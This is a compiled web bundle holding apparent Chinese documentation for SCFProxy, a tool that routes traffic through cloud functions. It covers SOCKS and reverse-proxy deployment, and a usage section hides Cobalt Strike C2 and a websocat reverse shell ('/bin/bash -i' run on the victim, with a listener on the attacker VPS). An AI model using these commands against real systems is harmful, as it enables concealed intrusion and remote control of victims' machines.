\u8d77\u8fde\u63a5\uff0c\u4e3a\u4e86\u8ba9\u4e91\u51fd\u6570\u53d1\u8d77\u8fde\u63a5\uff0c\u6211\u4eec\u9700\u8981\u4e3b\u52a8\u5bf9\u4e91\u51fd\u6570\u7684API\u7f51\u5173\u53d1\u8d77\u8bf7\u6c42\uff0c\u89e6\u53d1\u4e91\u51fd\u6570\u7684\u6267\u884c\uff0c\u5e76\u5c06 \u76ee\u6807\u670d\u52a1\u5668\u4fe1\u606f\u9644\u5728POST\u6570\u636e\u5305\u4e2d\u3002\u76f8\u5173\u7684\u6d41\u7a0b\u56fe\u5982\u4e0b"}),"\n",(0,r.jsx)(i.p,{children:(0,r.jsx)(i.img,{alt:"img",src:s(62660).A+"",width:"551",height:"524"})}),"\n",(0,r.jsx)(i.h3,{id:"\u90e8\u7f72-1",children:"\u90e8\u7f72"}),"\n",(0,r.jsx)(i.pre,{children:(0,r.jsx)(i.code,{children:"scfproxy deploy socks -p provider_list -r region_list -a address [-k key] --auth [user:pass]\n"})}),"\n",(0,r.jsxs)(i.p,{children:[(0,r.jsx)(i.code,{children:"-a address"})," \u7528\u4e8e\u6307\u5b9a\u4e91\u51fd\u6570\u56de\u8fde\u7684 vps \u5730\u5740"]}),"\n",(0,r.jsxs)(i.p,{children:[(0,r.jsx)(i.code,{children:"-k key"})," \u7528\u4e8e\u8fde\u63a5\u540e\u8fdb\u884c\u9a8c\u8bc1"]}),"\n",(0,r.jsxs)(i.p,{children:[(0,r.jsx)(i.code,{children:"--auth [user:pass]"})," \u7528\u4e8e\u6307\u5b9a socks \u8ba4\u8bc1\u4fe1\u606f\uff0c\u9ed8\u8ba4\u65e0\u8ba4\u8bc1"]}),"\n",(0,r.jsx)(i.h3,{id:"\u8fd0\u884c-2",children:"\u8fd0\u884c"}),"\n",(0,r.jsx)(i.pre,{children:(0,r.jsx)(i.code,{children:"scfproxy socks -l socks_port -s scf_port -k key\n"})}),"\n",(0,r.jsxs)(i.p,{children:[(0,r.jsx)(i.code,{children:"-l socks_port"})," \u76d1\u542c socks_port\uff0c\u7b49\u5f85\u7528\u6237\u7684 socks5 \u8fde\u63a5"]}),"\n",(0,r.jsxs)(i.p,{children:[(0,r.jsx)(i.code,{children:"-s scf_port"})," \u76d1\u542c scf_port\uff0c\u7b49\u5f85\u6765\u81ea\u4e91\u51fd\u6570\u7684\u8fde\u63a5\uff0c\u9700\u8981\u90e8\u7f72\u547d\u4ee4\u4e2d ",(0,r.jsx)(i.code,{children:"address"})," \u53c2\u6570\u7684\u7aef\u53e3\u4e00\u81f4"]}),"\n",(0,r.jsxs)(i.p,{children:[(0,r.jsx)(i.code,{children:"-k key"})," \u7528\u4e8e\u9a8c\u8bc1\uff0c\u9700\u4e0e\u90e8\u7f72\u547d\u4ee4\u4e2d\u7684 ",(0,r.jsx)(i.code,{children:"key"})," \u5bf9\u5e94"]}),"\n",(0,r.jsx)(i.h3,{id:"\u6e05\u7406-2",children:"\u6e05\u7406"}),"\n",(0,r.jsx)(i.pre,{children:(0,r.jsx)(i.code,{children:"scfproxy clear socks -p provider_list -r region_list [--completely]\n"})}),"\n",(0,r.jsxs)(i.p,{children:["\u56e0\u4e3a ",(0,r.jsx)(i.code,{children:"socks"})," \u4ee3\u7406\u521b\u5efa\u7684\u4e3a 1m \u7684\u5b9a\u65f6\u89e6\u53d1\u5668\uff0c\u4e14\u51fd\u6570\u8d85\u65f6\u65f6\u95f4\u8f83\u957f\u4e3a\u907f\u514d\u4e0d\u5fc5\u8981\u7684\u6d6a\u8d39\uff0c\u5efa\u8bae\u5728\u76d1\u542c\u5230\u6765\u81ea\u4e91\u51fd\u6570\u7684\u8fde\u63a5\u540e\u6e05\u7406\u89e6\u53d1\u5668\uff0c\u5728\u4f7f\u7528\u5b8c\u6bd5\u540e\u4f7f\u7528 ",(0,r.jsx)(i.code,{children:"-e"})," \u53c2\u6570\u5f7b\u5e95\u6e05\u7406\u51fd\u6570\u3002"]}),"\n",(0,r.jsx)(i.h3,{id:"\u4f8b\u5b50-1",children:"\u4f8b\u5b50"}),"\n",(0,r.jsx)(i.h4,{id:"\u83b7\u53d6key-1",children:"\u83b7\u53d6key"}),"\n",(0,r.jsxs)(i.ul,{children:["\n",(0,r.jsx)(i.li,{children:(0,r.jsx)(i.a,{href:"https://ram.console.aliyun.com/manage/ak",children:"\u963f\u91cc\u4e91\u83b7\u53d6key"})}),"\n"]}),"\n",(0,r.jsx)(i.p,{children:(0,r.jsx)(i.img,{alt:"image-20221223134859998",src:s(87079).A+"",width:"1840",height:"545"})}),"\n",(0,r.jsx)(i.h4,{id:"\u9996\u6b21\u8fd0\u884c-1",children:"\u9996\u6b21\u8fd0\u884c"}),"\n",(0,r.jsx)(i.p,{children:"\u914d\u7f6e \u4e91\u7684key\uff0c\u8fd9\u91cc\u6f14\u793a\u7684\u662f\u963f\u91cc\u4e91"}),"\n",(0,r.jsx)(i.pre,{children:(0,r.jsx)(i.code,{className:"language-bash",children:"scfproxy && vim /root/.config/scfproxy/sdk.toml\n"})}),"\n",(0,r.jsx)(i.p,{children:(0,r.jsx)(i.img,{alt:"image-20221222221832761",src:s(37740).A+"",width:"1017",height:"394"})}),"\n",(0,r.jsx)(i.h4,{id:"\u90e8\u7f72-socks-api",children:"\u90e8\u7f72 socks api"}),"\n",(0,r.jsx)(i.pre,{children:(0,r.jsx)(i.code,{children:"# \u6709\u70b9\u6162\uff0c\u8010\u5fc3\u7b49\u4e00\u5206\u949f\n./scfproxy deploy socks -p alibaba -r eu-* -a 119.13.81.145:12345 -k abc12345\n"})}),"\n",(0,r.jsx)(i.p,{children:(0,r.jsx)(i.img,{alt:"image-20221222225408223",src:s(43894).A+"",width:"1017",height:"107"})}),"\n",(0,r.jsx)(i.p,{children:"\u9a8c\u8bc1\u662f\u5426\u521b\u5efa\u6210\u529f"}),"\n",(0,r.jsx)(i.pre,{children:(0,r.jsx)(i.code,{children:"./scfproxy list socks\n"})}),"\n",(0,r.jsx)(i.p,{children:(0,r.jsx)(i.img,{src:s(87339).A+"",width:"617",height:"121"})}),"\n",(0,r.jsx)(i.h4,{id:"\u8fd0\u884c-3",children:"\u8fd0\u884c"}),"\n",(0,r.jsx)(i.pre,{children:(0,r.jsx)(i.code,{children:"./scfproxy socks -l 1234 -s 12345 -k abc12345\n"})}),"\n",(0,r.jsx)(i.p,{children:(0,r.jsx)(i.img,{alt:"image-20221222225645289",src:s(23263).A+"",width:"874",height:"144"})}),"\n",(0,r.jsx)(i.h4,{id:"\u5b89\u88c5\u8bc1\u4e66-1",children:"\u5b89\u88c5\u8bc1\u4e66"}),"\n",(0,r.jsx)(i.p,{children:"\u53cc\u51fb\u8bc1\u4e66 -> \u5b89\u88c5\u8bc1\u4e66"}),"\n",(0,r.jsx)(i.p,{children:(0,r.jsx)(i.img,{alt:"image-20221223135148342",src:s(96152).A+"",width:"479",height:"671"})}),"\n",(0,r.jsx)(i.h4,{id:"\u9a8c\u8bc1-1",children:"\u9a8c\u8bc1"}),"\n",(0,r.jsx)(i.p,{children:"\u914d\u7f6eSwitchyOmega"}),"\n",(0,r.jsx)(i.p,{children:(0,r.jsx)(i.img,{alt:"image-20221223140744276",src:s(83006).A+"",width:"1852",height:"720"})}),"\n",(0,r.jsxs)(i.p,{children:["\u8bbf\u95ee",(0,r.jsx)(i.a,{href:"https://ifconfig.me/",children:"https://ifconfig.me/"})]}),"\n",(0,r.jsx)(i.p,{children:(0,r.jsx)(i.img,{alt:"image-20221223140831662",src:s(69032).A+"",width:"1155",height:"834"})}),"\n",(0,r.jsx)(i.h4,{id:"\u6e05\u7406-3",children:"\u6e05\u7406"}),"\n",(0,r.jsx)(i.pre,{children:(0,r.jsx)(i.code,{children:"./scfproxy list socks\n./scfproxy clear socks -p alibaba -r eu-* && ./scfproxy clear socks -p alibaba -r eu-* --completely\n./scfproxy list socks\n"})}),"\n",(0,r.jsx)(i.p,{children:(0,r.jsx)(i.img,{alt:"image-20221222225738880",src:s(26503).A+"",width:"651",height:"56"})}),"\n",(0,r.jsx)(i.h2,{id:"\u53cd\u5411\u4ee3\u7406",children:"\u53cd\u5411\u4ee3\u7406"}),"\n",(0,r.jsx)(i.h3,{id:"\u90e8\u7f72-2",children:"\u90e8\u7f72"}),"\n",(0,r.jsx)(i.pre,{children:(0,r.jsx)(i.code,{children:"scfproxy deploy reverse -p provider_list -r region_list -o origin [--ip ip_list]\n"})}),"\n",(0,r.jsxs)(i.p,{children:[(0,r.jsx)(i.code,{children:"-o origin "})," \u7528\u4e8e\u6307\u5b9a\u9700\u8981\u7528\u4e8e\u53cd\u5411\u4ee3\u7406\u7684\u56de\u6e90\u5730\u5740\uff0c\u53ef\u63a5\u53d7 HTTP \u53ca Websocket \u534f\u8bae\u3002"]}),"\n",(0,r.jsxs)(i.p,{children:[(0,r.jsx)(i.code,{children:"--ip ip_list"})," \u7528\u4e8e\u9650\u5236\u8bbf\u95ee\u6765\u6e90\uff0c\u53ea\u6709 ",(0,r.jsx)(i.code,{children:"ip_list"})," \u4e2d\u7684 ip \u624d\u80fd\u8bbf\u95ee\u90e8\u7f72\u8fd4\u56de\u7684\u53cd\u5411\u4ee3\u7406\u7f51\u5173\u5730\u5740\u3002"]}),"\n",(0,r.jsx)(i.h3,{id:"\u4f7f\u7528\u573a\u666f",children:"\u4f7f\u7528\u573a\u666f"}),"\n",(0,r.jsx)(i.p,{children:"\u57fa\u4e8e\u53cd\u5411\u4ee3\u7406\u53ef\u6709\u5982\u4e0b\u4f7f\u7528\u65b9\u6cd5\uff0c"}),"\n",(0,r.jsx)(i.h4,{id:"c2-\u9690\u85cf",children:"C2 \u9690\u85cf"}),"\n",(0,r.jsx)(i.p,{children:"\u4ee5 cobaltstrike \u4e3a\u4f8b\uff0c\u53ea\u9700\u5c06 api \u7684\u57df\u540d\u586b\u5165 listener \u7684 host"}),"\n",(0,r.jsx)(i.pre,{children:(0,r.jsx)(i.code,{children:"scfproxy deploy reverse ... -o http://vps --ip victim\n"})}),"\n",(0,r.jsx)(i.p,{children:(0,r.jsx)(i.img,{alt:"cs.png",src:s(83375).A+"",width:"484",height:"453"})}),"\n",(0,r.jsx)(i.h4,{id:"\u53cd\u5f39-shell-\u5730\u5740\u9690\u85cf",children:"\u53cd\u5f39 shell \u5730\u5740\u9690\u85cf"}),"\n",(0,r.jsxs)(i.p,{children:["\u501f\u52a9 ",(0,r.jsx)(i.a,{href:"https://github.com/vi/websocat",children:"websocat"})," \u5de5\u5177\u53ef\u5b9e\u73b0\u53cd\u5f39 shell \u7684\u529f\u80fd\u3002"]}),"\n",(0,r.jsx)(i.pre,{children:(0,r.jsx)(i.code,{children:"scfproxy deploy reverse ... -o ws://vps --ip victim\n"})}),"\n",(0,r.jsx)(i.p,{children:"\u53d7\u5bb3\u8005\u7aef\u6267\u884c\uff1a"}),"\n",(0,r.jsx)(i.pre,{children:(0,r.jsx)(i.code,{children:"websocat ws://reverse_proxy_address sh-c:'/bin/bash -i 2>&1' --binary -v --compress-zlib\n"})}),"\n",(0,r.jsx)(i.p,{children:"\u653b\u51fb\u8005 vps \u6267\u884c\uff1a"}),"\n",(0,r.jsx)(i.pre,{children:(0,r.jsx)(i.code,{children:"websocat ws-l:0.0.0.0:port - --binary -E --uncompress-zlib\n"})}),"\n",(0,r.jsxs)(i.p,{children:["\u6548\u679c\u5982\u56fe\uff1a ",(0,r.jsx)(i.a,{href:"https://github.com/shimmeris/SCFProxy/blob/main/img/reverse_shell.png",children:(0,r.jsx)(i.img,{alt:"reverse_shell.png",src:s(77492).A+"",width:"1504",height:"91"})})]}),"\n",(0,r.jsx)(i.h4,{id:"\u5185\u7f51\u7a7f\u900f\u5730\u5740\u9690\u85cf",children:"\u5185\u7f51\u7a7f\u900f\u5730\u5740\u9690\u85cf"}),"\n",(0,r.jsx)(i.p,{children:"\u8be5\u4f7f\u7528\u573a\u666f\u9700\u8981\u652f\u6301 websocket \u534f\u8bae\u7684\u5185\u7f51\u7a7f\u900f\u8f6f\u4ef6\u3002"}),"\n",(0,r.jsx)(i.pre,{children:(0,r.jsx)(i.code,{children:"scfproxy deploy reverse ... -o ws://vps --ip victim\n"})}),"\n",(0,r.jsx)(i.p,{children:"\u4ee5 frp \u4ee3\u7406 SOCKS \u4e3a\u4f8b\uff0c\u5ba2\u6237\u7aef\u914d\u7f6e\uff1a"}),"\n",(0,r.jsx)(i.pre,{children:(0,r.jsx)(i.code,{children:"[common]\nserver_addr = reverse_proxy_domain\nserver_port = 80\ntls_enable = true \nprotocol = websocket\n\n[plugin_sock5]\ntype = tcp\nremote_port = 8080\nplugin = socks5\nuse_encryption = true\nuse_compression = true\n"})}),"\n",(0,r.jsx)(i.p,{children:"\u6548\u679c\u5982\u56fe"}),"\n",(0,r.jsx)(i.p,{children:(0,r.jsx)(i.img,{alt:"frp",src:s(5988).A+"",width:"1513",height:"129"})}),"\n",(0,r.jsx)(i.h3,{id:"\u6e05\u7406-4",children:"\u6e05\u7406"}),"\n",(0,r.jsx)(i.pre,{children:(0,r.jsx)(i.code,{children:"scfproxy clear http -p provider_list -r region_list -o origin\n"})}),"\n",(0,r.jsxs)(i.p,{children:["\u4e0e HTTP \u53ca SOCKS \u4ee3\u7406\u4e0d\u540c\uff0c\u53cd\u5411\u4ee3\u7406\u6ca1\u6709 ",(0,r.jsx)(i.code,{children:"--completely"})," \u53c2\u6570\uff0c\u4f46\u9700\u8981\u6307\u5b9a ",(0,r.jsx)(i.code,{children:"origin"})," \u53c2\u6570\u7528\u4e8e\u5b9a\u4f4d\u9700\u8981\u5220\u9664\u7684\u670d\u52a1"]}),"\n",(0,r.jsx)(i.h2,{id:"\u53c2\u8003",children:"\u53c2\u8003"}),"\n",(0,r.jsxs)(i.ul,{children:["\n",(0,r.jsxs)(i.li,{children:["\n",(0,r.jsx)(i.p,{children:(0,r.jsx)(i.a,{href:"https://xz.aliyun.com/t/9502",children:"\u6d45\u8c08\u4e91\u51fd\u6570\u7684\u5229\u7528\u9762"})}),"\n"]}),"\n",(0,r.jsxs)(i.li,{children:["\n",(0,r.jsx)(i.p,{children:(0,r.jsx)(i.a,{href:"https://github.com/shimmeris/SCFProxy",children:"SCFProxy"})}),"\n"]}),"\n"]})]})}function p(e={}){const{wrapper:i}={...(0,l.R)(),...e.components};return i?(0,r.jsx)(i,{...e,children:(0,r.jsx)(a,{...e})}):a(e)}},77492:(e,i,s)=>{s.d(i,{A:()=>n});const n=s.p+"assets/images/reverse_shell-f949bf4c1cab3a020a0ab213a9352540.png"},83006:(e,i,s)=>{s.d(i,{A:()=>n});const n=s.p+"assets/images/image-20221223140744276-3d9ff9b7b2b8ae4e26ecc435b10d12c6.png"},83375:(e,i,s)=>{s.d(i,{A:()=>n});const n=s.p+"assets/images/cs-16717198568095-1c013e8fa3dea491dc623fb2d55220c5.png"},84827:(e,i,s)=>{s.d(i,{A:()=>n});const n=s.p+"assets/images/image-20221222221636085-ed5503668b24b3af098b82b01e68b224.png"},84978:(e,i,s)=>{s.d(i,{A:()=>n});const n=s.p+"assets/images/image-20221223141456899-2ff8998f00925049d1557f979ff0406e.png"},87079:(e,i,s)=>{s.d(i,{A:()=>n});const n=s.p+"assets/images/image-20221223134859998-1470ad905c4e4042d2cd0e3f4402c3b5.png"},87339:(e,i,s)=>{s.d(i,{A:()=>n});const n="data:image/png;base64,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